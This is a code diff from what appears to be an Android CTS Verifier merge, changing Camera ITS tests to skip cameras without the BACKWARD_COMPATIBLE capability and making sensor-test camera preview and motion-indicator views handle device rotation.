Snap for 5526913 from 81bfc3a29e561e0e115c5534de52069dc26bbdc5 to pi-qpr3-b-release
Change-Id: I6314a530c398176ca251b28b5d68cb089d4aa17f
diff --git a/apps/CameraITS/pymodules/its/caps.py b/apps/CameraITS/pymodules/its/caps.py
index 61ec7e1..d75532b 100644
--- a/apps/CameraITS/pymodules/its/caps.py
+++ b/apps/CameraITS/pymodules/its/caps.py
@@ -513,6 +513,19 @@
return False
+def backward_compatible(props):
+ """Returns whether a device supports BACKWARD_COMPATIBLE.
+
+ Args:
+ props: Camera properties object.
+
+ Returns:
+ Boolean.
+ """
+ return props.has_key("android.request.availableCapabilities") and \
+ 0 in props["android.request.availableCapabilities"]
+
+
class __UnitTest(unittest.TestCase):
"""Run a suite of unit tests on this module.
"""
diff --git a/apps/CameraITS/tests/scene0/test_burst_capture.py b/apps/CameraITS/tests/scene0/test_burst_capture.py
index f915a6a..c573584 100644
--- a/apps/CameraITS/tests/scene0/test_burst_capture.py
+++ b/apps/CameraITS/tests/scene0/test_burst_capture.py
@@ -12,13 +12,17 @@
# See the License for the specific language governing permissions and
# limitations under the License.
-import its.image
-import its.device
-import its.objects
import os.path
+import its.caps
+import its.device
+import its.image
+import its.objects
+
+
def main():
"""Test capture a burst of full size images is fast enough to not timeout.
+
This test verify that entire capture pipeline can keep up the speed
of fullsize capture + CPU read for at least some time.
"""
@@ -27,6 +31,7 @@
with its.device.ItsSession() as cam:
props = cam.get_camera_properties()
+ its.caps.skip_unless(its.caps.backward_compatible(props))
req = its.objects.auto_capture_request()
caps = cam.do_capture([req]*NUM_TEST_FRAMES)
diff --git a/apps/CameraITS/tests/scene0/test_camera_properties.py b/apps/CameraITS/tests/scene0/test_camera_properties.py
index eb638f0..dbd528d 100644
--- a/apps/CameraITS/tests/scene0/test_camera_properties.py
+++ b/apps/CameraITS/tests/scene0/test_camera_properties.py
@@ -26,8 +26,6 @@
pprint.pprint(props)
- its.caps.skip_unless(its.caps.manual_sensor(props))
-
# Test that a handful of required keys are present.
assert(props.has_key('android.sensor.info.sensitivityRange'))
assert(props.has_key('android.sensor.orientation'))
diff --git a/apps/CameraITS/tests/scene0/test_metadata.py b/apps/CameraITS/tests/scene0/test_metadata.py
index 48ce28e..b8949b1 100644
--- a/apps/CameraITS/tests/scene0/test_metadata.py
+++ b/apps/CameraITS/tests/scene0/test_metadata.py
@@ -31,6 +31,7 @@
# Arbitrary capture request exposure values; image content is not
# important for this test, only the metadata.
props = cam.get_camera_properties()
+ its.caps.skip_unless(its.caps.backward_compatible(props))
auto_req = its.objects.auto_capture_request()
cap = cam.do_capture(auto_req)
md = cap["metadata"]
diff --git a/apps/CameraITS/tests/scene0/test_unified_timestamps.py b/apps/CameraITS/tests/scene0/test_unified_timestamps.py
index ae4583f..5a9228e 100644
--- a/apps/CameraITS/tests/scene0/test_unified_timestamps.py
+++ b/apps/CameraITS/tests/scene0/test_unified_timestamps.py
@@ -25,7 +25,8 @@
props = cam.get_camera_properties()
# Only run test if the appropriate caps are claimed.
- its.caps.skip_unless(its.caps.sensor_fusion(props))
+ its.caps.skip_unless(its.caps.sensor_fusion(props) and
+ its.caps.backward_compatible(props))
# Get the timestamp of a captured image.
if its.caps.manual_sensor(props):
diff --git a/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py b/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py
index 92dfd0d..a46d54c 100644
--- a/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py
+++ b/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py
@@ -334,8 +334,8 @@
h_iter = size_iter[1]
# Skip testing same format/size combination
# ITS does not handle that properly now
- if (dual_target and w_iter == size_cmpr[0]
- and h_iter == size_cmpr[1]
+ if (dual_target
+ and w_iter*h_iter == size_cmpr[0]*size_cmpr[1]
and fmt_iter == fmt_cmpr):
continue
out_surface = [{"width": w_iter,
diff --git a/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py b/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
index 265fc33..fbf7bcd 100644
--- a/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
+++ b/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
@@ -448,6 +448,7 @@
fmt = {"format": "yuv", "width": w, "height": h}
s, e, _, _, _ = cam.do_3a(get_results=True, do_af=False)
req = its.objects.manual_capture_request(s, e)
+ its.objects.turn_slow_filters_off(props, req)
req["android.lens.focusDistance"] = 1 / (CHART_DISTANCE * CM_TO_M)
req["android.control.aeTargetFpsRange"] = [fps, fps]
req["android.sensor.frameDuration"] = int(1000.0/fps * MSEC_TO_NSEC)
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index d0024c5..b6610a6 100755
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -1304,9 +1304,8 @@
<string name="no_camera_manager">
No camera manager exists! This test device is in a bad state.
</string>
- <string name="all_legacy_devices">
- All cameras on this device are LEGACY mode only - ITS tests are only required on LIMITED
- or better devices. Pass.
+ <string name="all_exempted_devices">
+ All cameras on this device are exempted from ITS - Pass.
</string>
<string name="its_test_passed">All Camera ITS tests passed. Pass button enabled!</string>
<string name="its_test_failed">Some Camera ITS tests failed.</string>
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
index db45452..fe1c0ed 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
@@ -346,17 +346,16 @@
}
}
- public void openCameraDevice(int cameraId) throws ItsException {
- Logt.i(TAG, String.format("Opening camera %d", cameraId));
+ public void openCameraDevice(String cameraId) throws ItsException {
+ Logt.i(TAG, String.format("Opening camera %s", cameraId));
- String[] devices;
try {
- devices = mCameraManager.getCameraIdList();
- if (devices == null || devices.length == 0) {
- throw new ItsException("No camera devices");
- }
if (mMemoryQuota == -1) {
// Initialize memory quota on this device
+ List<String> devices = ItsUtils.getItsCompatibleCameraIds(mCameraManager);
+ if (devices.size() == 0) {
+ throw new ItsException("No camera devices");
+ }
for (String camId : devices) {
CameraCharacteristics chars = mCameraManager.getCameraCharacteristics(camId);
Size maxYuvSize = ItsUtils.getMaxOutputSize(
@@ -373,10 +372,8 @@
}
try {
- mCamera = mBlockingCameraManager.openCamera(devices[cameraId],
- mCameraListener, mCameraHandler);
- mCameraCharacteristics = mCameraManager.getCameraCharacteristics(
- devices[cameraId]);
+ mCamera = mBlockingCameraManager.openCamera(cameraId, mCameraListener, mCameraHandler);
+ mCameraCharacteristics = mCameraManager.getCameraCharacteristics(cameraId);
mSocketQueueQuota = new Semaphore(mMemoryQuota, true);
} catch (CameraAccessException e) {
throw new ItsException("Failed to open camera", e);
@@ -646,7 +643,7 @@
JSONObject cmdObj = new JSONObject(cmd);
Logt.i(TAG, "Start processing command" + cmdObj.getString("cmdName"));
if ("open".equals(cmdObj.getString("cmdName"))) {
- int cameraId = cmdObj.getInt("cameraId");
+ String cameraId = cmdObj.getString("cameraId");
openCameraDevice(cameraId);
} else if ("close".equals(cmdObj.getString("cmdName"))) {
closeCameraDevice();
@@ -901,6 +898,9 @@
private void doGetPropsById(JSONObject params) throws ItsException {
String[] devices;
try {
+ // Intentionally not using ItsUtils.getItsCompatibleCameraIds here so it's possible to
+ // write some simple script to query camera characteristics even for devices exempted
+ // from ITS today.
devices = mCameraManager.getCameraIdList();
if (devices == null || devices.length == 0) {
throw new ItsException("No camera devices");
@@ -927,34 +927,21 @@
}
private void doGetCameraIds() throws ItsException {
- String[] devices;
- try {
- devices = mCameraManager.getCameraIdList();
- if (devices == null || devices.length == 0) {
- throw new ItsException("No camera devices");
- }
- } catch (CameraAccessException e) {
- throw new ItsException("Failed to get device ID list", e);
+ List<String> devices = ItsUtils.getItsCompatibleCameraIds(mCameraManager);
+ if (devices.size() == 0) {
+ throw new ItsException("No camera devices");
}
try {
JSONObject obj = new JSONObject();
JSONArray array = new JSONArray();
for (String id : devices) {
- CameraCharacteristics characteristics = mCameraManager.getCameraCharacteristics(id);
- // Only supply camera Id for non-legacy cameras since legacy camera does not
- // support ITS
- if (characteristics.get(CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL) !=
- CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL_LEGACY) {
- array.put(id);
- }
+ array.put(id);
}
obj.put("cameraIdArray", array);
mSocketRunnableObj.sendResponse("cameraIds", obj);
} catch (org.json.JSONException e) {
throw new ItsException("JSON error: ", e);
- } catch (android.hardware.camera2.CameraAccessException e) {
- throw new ItsException("Access error: ", e);
}
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java
index d6feb51..fd62ed2 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java
@@ -21,7 +21,6 @@
import android.content.Intent;
import android.content.IntentFilter;
import android.content.res.Configuration;
-import android.hardware.camera2.CameraAccessException;
import android.hardware.camera2.CameraCharacteristics;
import android.hardware.camera2.CameraManager;
import android.os.Bundle;
@@ -80,7 +79,7 @@
private boolean mReceiverRegistered = false;
// Initialized in onCreate
- ArrayList<String> mToBeTestedCameraIds = null;
+ List<String> mToBeTestedCameraIds = null;
// Scenes
private static final ArrayList<String> mSceneIds = new ArrayList<String> () { {
@@ -333,32 +332,20 @@
// Hide the test if all camera devices are legacy
CameraManager manager = (CameraManager) this.getSystemService(Context.CAMERA_SERVICE);
try {
- String[] cameraIds = manager.getCameraIdList();
- mToBeTestedCameraIds = new ArrayList<String>();
- for (String id : cameraIds) {
- CameraCharacteristics characteristics = manager.getCameraCharacteristics(id);
- int hwLevel = characteristics.get(
- CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL);
- if (hwLevel
- != CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL_LEGACY &&
- hwLevel
- != CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL_EXTERNAL) {
- mToBeTestedCameraIds.add(id);
- }
- }
- if (mToBeTestedCameraIds.size() == 0) {
- showToast(R.string.all_legacy_devices);
- ItsTestActivity.this.getReportLog().setSummary(
- "PASS: all cameras on this device are LEGACY or EXTERNAL"
- , 1.0, ResultType.NEUTRAL, ResultUnit.NONE);
- setTestResultAndFinish(true);
- }
- } catch (CameraAccessException e) {
+ mToBeTestedCameraIds = ItsUtils.getItsCompatibleCameraIds(manager);
+ } catch (ItsException e) {
Toast.makeText(ItsTestActivity.this,
"Received error from camera service while checking device capabilities: "
+ e, Toast.LENGTH_SHORT).show();
}
+ if (mToBeTestedCameraIds.size() == 0) {
+ showToast(R.string.all_exempted_devices);
+ ItsTestActivity.this.getReportLog().setSummary(
+ "PASS: all cameras on this device are exempted from ITS"
+ , 1.0, ResultType.NEUTRAL, ResultUnit.NONE);
+ setTestResultAndFinish(true);
+ }
super.onCreate(savedInstanceState);
getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsUtils.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsUtils.java
index 65e4970..41ae288 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsUtils.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsUtils.java
@@ -19,8 +19,10 @@
import android.content.Context;
import android.graphics.ImageFormat;
import android.graphics.Rect;
+import android.hardware.camera2.CameraAccessException;
import android.hardware.camera2.CameraDevice;
import android.hardware.camera2.CameraCharacteristics;
+import android.hardware.camera2.CameraManager;
import android.hardware.camera2.CaptureRequest;
import android.hardware.camera2.CaptureResult;
import android.hardware.camera2.params.MeteringRectangle;
@@ -296,4 +298,47 @@
return false;
}
}
+
+ public static List<String> getItsCompatibleCameraIds(CameraManager manager)
+ throws ItsException {
+ if (manager == null) {
+ throw new IllegalArgumentException("CameraManager is null");
+ }
+
+ ArrayList<String> outList = new ArrayList<String>();
+ try {
+ String[] cameraIds = manager.getCameraIdList();
+ for (String id : cameraIds) {
+ CameraCharacteristics characteristics = manager.getCameraCharacteristics(id);
+ int[] actualCapabilities = characteristics.get(
+ CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES);
+ boolean haveBC = false;
+ final int BACKWARD_COMPAT =
+ CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_BACKWARD_COMPATIBLE;
+ for (int capability : actualCapabilities) {
+ if (capability == BACKWARD_COMPAT) {
+ haveBC = true;
+ break;
+ }
+ }
+
+ // Skip devices that does not support BACKWARD_COMPATIBLE capability
+ if (!haveBC) continue;
+
+ int hwLevel = characteristics.get(
+ CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL);
+ if (hwLevel == CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL_LEGACY ||
+ hwLevel == CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL_EXTERNAL) {
+ // Skip LEGACY and EXTERNAL devices
+ continue;
+ }
+ outList.add(id);
+ }
+ } catch (CameraAccessException e) {
+ Logt.e(TAG,
+ "Received error from camera service while checking device capabilities: " + e);
+ throw new ItsException("Failed to get device ID list", e);
+ }
+ return outList;
+ }
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/MotionIndicatorView.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/MotionIndicatorView.java
index 14784dd..4160572 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/MotionIndicatorView.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/MotionIndicatorView.java
@@ -26,6 +26,7 @@
import android.hardware.SensorManager;
import android.util.AttributeSet;
import android.util.Log;
+import android.view.Surface;
import android.view.View;
/**
@@ -89,6 +90,8 @@
private boolean mXEnabled, mYEnabled, mZEnabled;
+ private boolean mIsDeviceRotated = false;
+
/**
* Constructor
* @param context
@@ -146,6 +149,15 @@
}
/**
+ * Set the device's current rotation
+ * @param rotation Surface.ROTATION_0, Surface.ROTATION_90, Surface.ROTATION_180, or
+ * Surface.ROTATION_270
+ */
+ public void setDeviceRotation(int rotation) {
+ mIsDeviceRotated = (rotation == Surface.ROTATION_90 || rotation == Surface.ROTATION_270);
+ }
+
+ /**
* Set the active axis for display
*
* @param axis AXIS_X, AXIS_Y, AXIS_Z for x, y, z axis indicators, or AXIS_ALL for all three.
@@ -181,16 +193,22 @@
mXSize = w;
mYSize = h;
- mZBoundOut = new RectF(w/2-w/2.5f, h/2-w/2.5f, w/2+w/2.5f, h/2+w/2.5f);
+ float halfSideLength = 0.4f * Math.min(w, h);
+ float leftSide = w/2 - halfSideLength;
+ float topSide = h/2 - halfSideLength;
+ float rightSide = w/2 + halfSideLength;
+ float bottomSide = h/2 + halfSideLength;
+
+ mZBoundOut = new RectF(leftSide, topSide, rightSide, bottomSide);
mZBoundOut2 = new RectF(
- w/2-w/2.5f-ZRING_CURSOR_ADD, h/2-w/2.5f-ZRING_CURSOR_ADD,
- w/2+w/2.5f+ZRING_CURSOR_ADD, h/2+w/2.5f+ZRING_CURSOR_ADD);
+ leftSide-ZRING_CURSOR_ADD, topSide-ZRING_CURSOR_ADD,
+ rightSide+ZRING_CURSOR_ADD, bottomSide+ZRING_CURSOR_ADD);
mZBoundIn = new RectF(
- w/2-w/2.5f+ZRING_WIDTH, h/2-w/2.5f+ZRING_WIDTH,
- w/2+w/2.5f-ZRING_WIDTH, h/2+w/2.5f-ZRING_WIDTH);
+ leftSide+ZRING_WIDTH, topSide+ZRING_WIDTH,
+ rightSide-ZRING_WIDTH, bottomSide-ZRING_WIDTH);
mZBoundIn2 = new RectF(
- w/2-w/2.5f+ZRING_WIDTH+ZRING_CURSOR_ADD, h/2-w/2.5f+ZRING_WIDTH+ZRING_CURSOR_ADD,
- w/2+w/2.5f-ZRING_WIDTH-ZRING_CURSOR_ADD, h/2+w/2.5f-ZRING_WIDTH-ZRING_CURSOR_ADD);
+ leftSide+ZRING_WIDTH+ZRING_CURSOR_ADD, topSide+ZRING_WIDTH+ZRING_CURSOR_ADD,
+ rightSide-ZRING_WIDTH-ZRING_CURSOR_ADD, bottomSide-ZRING_WIDTH-ZRING_CURSOR_ADD);
if (LOCAL_LOGV) Log.v(TAG, "New view size = ("+w+", "+h+")");
}
@@ -209,8 +227,14 @@
p.setColor(Color.YELLOW);
canvas.drawRect(10,10, 50, 50, p);
- if (mXEnabled && mXCovered != null) {
- int xNStep = mXCovered.getNSteps() + 4; // two on each side as a buffer
+ // In order to determine which progress bar to draw, the device's rotation must be accounted
+ // for since the accelerometer rotates with the display.
+ boolean drawX = (mXEnabled && !mIsDeviceRotated) || (mYEnabled && mIsDeviceRotated);
+ boolean drawY = (mYEnabled && !mIsDeviceRotated) || (mXEnabled && mIsDeviceRotated);
+
+ if (drawX && mXCovered != null) {
+ RangeCoveredRegister covered = mIsDeviceRotated ? mYCovered : mXCovered;
+ int xNStep = covered.getNSteps() + 4; // two on each side as a buffer
int xStepSize = mXSize * 3/4 / xNStep;
int xLeft = mXSize * 1/8 + (mXSize * 3/4 % xNStep)/2;
@@ -219,8 +243,8 @@
xLeft+xStepSize*xNStep-1, XBAR_WIDTH+XBAR_MARGIN, mRangePaint);
// covered range
- for (i=0; i<mXCovered.getNSteps(); ++i) {
- if (mXCovered.isCovered(i)) {
+ for (i=0; i<covered.getNSteps(); ++i) {
+ if (covered.isCovered(i)) {
canvas.drawRect(
xLeft+xStepSize*(i+2), XBAR_MARGIN,
xLeft+xStepSize*(i+3)-1, XBAR_WIDTH + XBAR_MARGIN,
@@ -235,12 +259,14 @@
xLeft+xStepSize*(xNStep-2)+3, XBAR_WIDTH+XBAR_MARGIN, mLimitPaint);
// cursor
- t = (int)(xLeft+xStepSize*(mXCovered.getLastValue()+2));
+ t = (int)(xLeft+xStepSize*(covered.getLastValue()+2));
canvas.drawRect(t-4, XBAR_MARGIN-XBAR_CURSOR_ADD, t+3,
XBAR_WIDTH+XBAR_MARGIN+XBAR_CURSOR_ADD, mCursorPaint);
}
- if (mYEnabled && mYCovered != null) {
- int yNStep = mYCovered.getNSteps() + 4; // two on each side as a buffer
+
+ if (drawY && mYCovered != null) {
+ RangeCoveredRegister covered = mIsDeviceRotated ? mXCovered : mYCovered;
+ int yNStep = covered.getNSteps() + 4; // two on each side as a buffer
int yStepSize = mYSize * 3/4 / yNStep;
int yLeft = mYSize * 1/8 + (mYSize * 3/4 % yNStep)/2;
@@ -249,8 +275,8 @@
YBAR_WIDTH+YBAR_MARGIN, yLeft+yStepSize*yNStep-1, mRangePaint);
// covered range
- for (i=0; i<mYCovered.getNSteps(); ++i) {
- if (mYCovered.isCovered(i)) {
+ for (i=0; i<covered.getNSteps(); ++i) {
+ if (covered.isCovered(i)) {
canvas.drawRect(
YBAR_MARGIN, yLeft+yStepSize*(i+2),
YBAR_WIDTH + YBAR_MARGIN, yLeft+yStepSize*(i+3)-1,
@@ -265,7 +291,7 @@
YBAR_WIDTH + YBAR_MARGIN, yLeft + yStepSize * (yNStep - 2) + 3, mLimitPaint);
// cursor
- t = (int)(yLeft+yStepSize*(mYCovered.getLastValue()+2));
+ t = (int)(yLeft+yStepSize*(covered.getLastValue()+2));
canvas.drawRect( YBAR_MARGIN-YBAR_CURSOR_ADD, t-4,
YBAR_WIDTH+YBAR_MARGIN+YBAR_CURSOR_ADD, t+3, mCursorPaint);
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/RVCVCameraPreview.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/RVCVCameraPreview.java
index bd463af..10d1865 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/RVCVCameraPreview.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/RVCVCameraPreview.java
@@ -21,9 +21,11 @@
import android.hardware.Camera;
import android.util.AttributeSet;
import android.util.Log;
+import android.view.Surface;
import android.view.SurfaceHolder;
import android.view.SurfaceView;
import android.view.ViewGroup;
+import android.view.WindowManager;
import java.io.IOException;
import java.lang.Math;
@@ -36,10 +38,11 @@
private static final String TAG = "RVCVCameraPreview";
private static final boolean LOCAL_LOGD = true;
+ private Context mContext = null;
private SurfaceHolder mHolder;
private Camera mCamera;
- private float mAspect;
- private int mRotation;
+ private float mCameraAspectRatio = 0;
+ private int mCameraRotation = 0;
private boolean mCheckStartTest = false;
private boolean mPreviewStarted = false;
@@ -51,6 +54,7 @@
*/
public RVCVCameraPreview(Context context) {
super(context);
+ mContext = context;
mCamera = null;
initSurface();
}
@@ -62,12 +66,13 @@
*/
public RVCVCameraPreview(Context context, AttributeSet attrs) {
super(context, attrs);
+ mContext = context;
}
public void init(Camera camera, float aspectRatio, int rotation) {
this.mCamera = camera;
- mAspect = aspectRatio;
- mRotation = rotation;
+ mCameraAspectRatio = aspectRatio;
+ mCameraRotation = rotation;
initSurface();
}
@@ -111,7 +116,11 @@
// preview surface or camera does not exist
return;
}
- if (adjustLayoutParamsIfNeeded()) {
+
+ int totalRotation = getRequiredRotation();
+ mCamera.setDisplayOrientation(totalRotation);
+
+ if (adjustLayoutParamsIfNeeded(totalRotation)) {
// Wait on next surfaceChanged() call before proceeding
Log.d(TAG, "Waiting on surface change before starting preview");
return;
@@ -127,7 +136,6 @@
}
mCheckStartTest = false;
- mCamera.setDisplayOrientation(mRotation);
try {
mCamera.setPreviewDisplay(holder);
mCamera.startPreview();
@@ -142,23 +150,70 @@
}
/**
+ * Determine the rotation required to display the camera's preview on the screen as large as
+ * possible. This function combines the device's current rotation from its default orientation
+ * and the rotation of the camera.
+ */
+ private int getRequiredRotation() {
+ WindowManager windowManager =
+ (WindowManager)mContext.getSystemService(Context.WINDOW_SERVICE);
+ int deviceRotation = 0;
+ if (windowManager != null) {
+ switch (windowManager.getDefaultDisplay().getRotation()) {
+ case Surface.ROTATION_0:
+ deviceRotation = 0;
+ break;
+ case Surface.ROTATION_90:
+ deviceRotation = 270;
+ break;
+ case Surface.ROTATION_180:
+ deviceRotation = 180;
+ break;
+ case Surface.ROTATION_270:
+ deviceRotation = 90;
+ break;
+ default:
+ deviceRotation = 0;
+ break;
+ }
+ } else {
+ Log.w(TAG, "Unable to get device rotation, preview may be skewed.");
+ }
+
+ return (mCameraRotation + deviceRotation) % 360;
+ }
+
+ /**
* Resize the layout to more closely match the desired aspect ratio, if necessary.
*
* @return true if we updated the layout params, false if the params look good
*/
- private boolean adjustLayoutParamsIfNeeded() {
+ private boolean adjustLayoutParamsIfNeeded(int totalRotation) {
+ // Determine the maximum size layout that maintains the camera's preview aspect ratio
+ float cameraAspect = mCameraAspectRatio;
+
+ // Check the camera and device rotation and invert the aspect ratio if the device is not
+ // rotated at 0 or 180 degrees.
+ if (totalRotation % 180 != 0) {
+ // The device is rotated, so the screen should be the inverse of the aspect ratio
+ cameraAspect = 1.0f / mCameraAspectRatio;
+ }
+
+ // Only adjust if there is at least 1% error between the aspects
ViewGroup.LayoutParams layoutParams = getLayoutParams();
int curWidth = getWidth();
int curHeight = getHeight();
- float curAspect = (float)curHeight / (float)curWidth;
- float aspectDelta = Math.abs(mAspect - curAspect);
- if ((aspectDelta / mAspect) >= 0.01) {
- if (curAspect > mAspect) {
- layoutParams.height = (int)Math.round(curWidth * mAspect);
+ float curAspect = (float)curWidth / (float)curHeight;
+ float aspectDelta = Math.abs(cameraAspect - curAspect);
+ if ((aspectDelta / cameraAspect) >= 0.01) {
+ if (cameraAspect > curAspect) {
+ // Camera preview is wider than the current layout. Need to shorten the current layout
layoutParams.width = curWidth;
+ layoutParams.height = (int)(curWidth / cameraAspect);
} else {
+ // Camera preview taller than the current layout. Need to narrow the current layout
+ layoutParams.width = (int)(curHeight * cameraAspect);
layoutParams.height = curHeight;
- layoutParams.width = (int)Math.round(curHeight / mAspect);
}
if (layoutParams.height != curHeight || layoutParams.width != curWidth) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/RVCVRecordActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/RVCVRecordActivity.java
index 8199736..4f92b64 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/RVCVRecordActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/RVCVRecordActivity.java
@@ -33,7 +33,9 @@
import android.os.Environment;
import android.util.JsonWriter;
import android.util.Log;
+import android.view.Surface;
import android.view.Window;
+import android.view.WindowManager;
import android.widget.ImageView;
import android.widget.Toast;
@@ -70,6 +72,7 @@
private RVSensorLogger mRVSensorLogger;
private CoverageManager mCoverManager;
private CameraContext mCameraContext;
+ private int mDeviceRotation = Surface.ROTATION_0;
public static final int AXIS_NONE = 0;
public static final int AXIS_ALL = SensorManager.AXIS_X +
@@ -119,6 +122,12 @@
// locate views
mIndicatorView = (MotionIndicatorView) findViewById(R.id.cam_indicator);
+ WindowManager windowManager =
+ (WindowManager)getSystemService(Context.WINDOW_SERVICE);
+ if (windowManager != null) {
+ mDeviceRotation = windowManager.getDefaultDisplay().getRotation();
+ mIndicatorView.setDeviceRotation(mDeviceRotation);
+ }
initStoragePath();
}
@@ -224,6 +233,9 @@
if (axis >=SensorManager.AXIS_X && axis <=SensorManager.AXIS_Z) {
imageView.setImageResource(prompts[axis-1]);
+ if (mDeviceRotation != Surface.ROTATION_0 && mDeviceRotation != Surface.ROTATION_180) {
+ imageView.setRotation(90);
+ }
mIndicatorView.enableAxis(axis);
mRVSensorLogger.updateRegister(mCoverManager.getAxis(axis), axis);
notifyPrompt(axis);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/RVCVXCheckAnalyzer.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/RVCVXCheckAnalyzer.java
index 45439a7..c15d2ac 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/RVCVXCheckAnalyzer.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/RVCVXCheckAnalyzer.java
@@ -66,7 +66,7 @@
private static final boolean OUTPUT_DEBUG_IMAGE = false;
private static final double VALID_FRAME_THRESHOLD = 0.8;
- private static final double REPROJECTION_THRESHOLD_RATIO = 0.03;
+ private static final double REPROJECTION_THRESHOLD_RATIO = 0.01;
private static final boolean FORCE_CV_ANALYSIS = false;
private static final boolean TRACE_VIDEO_ANALYSIS = false;
private static final double DECIMATION_FPS_TARGET = 15.0;
@@ -880,13 +880,6 @@
// reproject points to for evaluation of result accuracy of solvePnP
Calib3d.projectPoints(grid, rvec, tvec, camMat, coeff, reprojCenters);
- // error is evaluated in norm2, which is real error in pixel distance / sqrt(2)
- double error = Core.norm(centers, reprojCenters, Core.NORM_L2);
-
- if (LOCAL_LOGV) {
- Log.v(TAG, "Found attitude, re-projection error = " + error);
- }
-
// Calculate the average distance between opposite corners of the pattern in pixels
Point[] centerPoints = centers.toArray();
Point bottomLeftPos = centerPoints[0];
@@ -896,10 +889,27 @@
double avgPixelDist = (getDistanceBetweenPoints(bottomLeftPos, topRightPos)
+ getDistanceBetweenPoints(bottomRightPos, topLeftPos)) / 2;
+ // Calculate the average pixel error between the circle centers from the video and the
+ // reprojected circle centers based on the estimated camera position. The error provides
+ // a way to estimate how accurate the assumed test device's position is. If the error
+ // is high, then the frame should be discarded to prevent an inaccurate test device's
+ // position from being compared against the rotation vector sample at that time.
+ Point[] reprojectedPointsArray = reprojCenters.toArray();
+ double avgCenterError = 0.0;
+ for (int curCenter = 0; curCenter < reprojectedPointsArray.length; curCenter++) {
+ avgCenterError += getDistanceBetweenPoints(
+ reprojectedPointsArray[curCenter], centerPoints[curCenter]);
+ }
+ avgCenterError /= reprojectedPointsArray.length;
+
+ if (LOCAL_LOGV) {
+ Log.v(TAG, "Found attitude, re-projection error = " + avgCenterError);
+ }
+
// if error is reasonable, add it into the results. Use a dynamic threshold based on
// the pixel distance of opposite corners of the pattern to prevent higher resolution
// video or the distance between the camera and the test pattern from impacting the test
- if (error < REPROJECTION_THRESHOLD_RATIO * avgPixelDist) {
+ if (avgCenterError < REPROJECTION_THRESHOLD_RATIO * avgPixelDist) {
double [] rv = new double[3];
double timestamp;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/RVCVXCheckTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/RVCVXCheckTestActivity.java
index 9fbeba2..58145e2 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/RVCVXCheckTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/RVCVXCheckTestActivity.java
@@ -301,10 +301,8 @@
String message = "Test Roll Axis Accuracy";
- Assert.assertEquals("Roll RMS error", 0.0, mReport.roll_rms_error,
- Criterion.roll_rms_error);
- Assert.assertEquals("Roll max error", 0.0, mReport.roll_max_error,
- Criterion.roll_max_error);
+ assertLessThan("Roll RMS error", mReport.roll_rms_error, Criterion.roll_rms_error);
+ assertLessThan("Roll max error", mReport.roll_max_error, Criterion.roll_max_error);
return message;
}
@@ -316,10 +314,8 @@
String message = "Test Pitch Axis Accuracy";
- Assert.assertEquals("Pitch RMS error", 0.0, mReport.pitch_rms_error,
- Criterion.pitch_rms_error);
- Assert.assertEquals("Pitch max error", 0.0, mReport.pitch_max_error,
- Criterion.pitch_max_error);
+ assertLessThan("Pitch RMS error", mReport.pitch_rms_error, Criterion.pitch_rms_error);
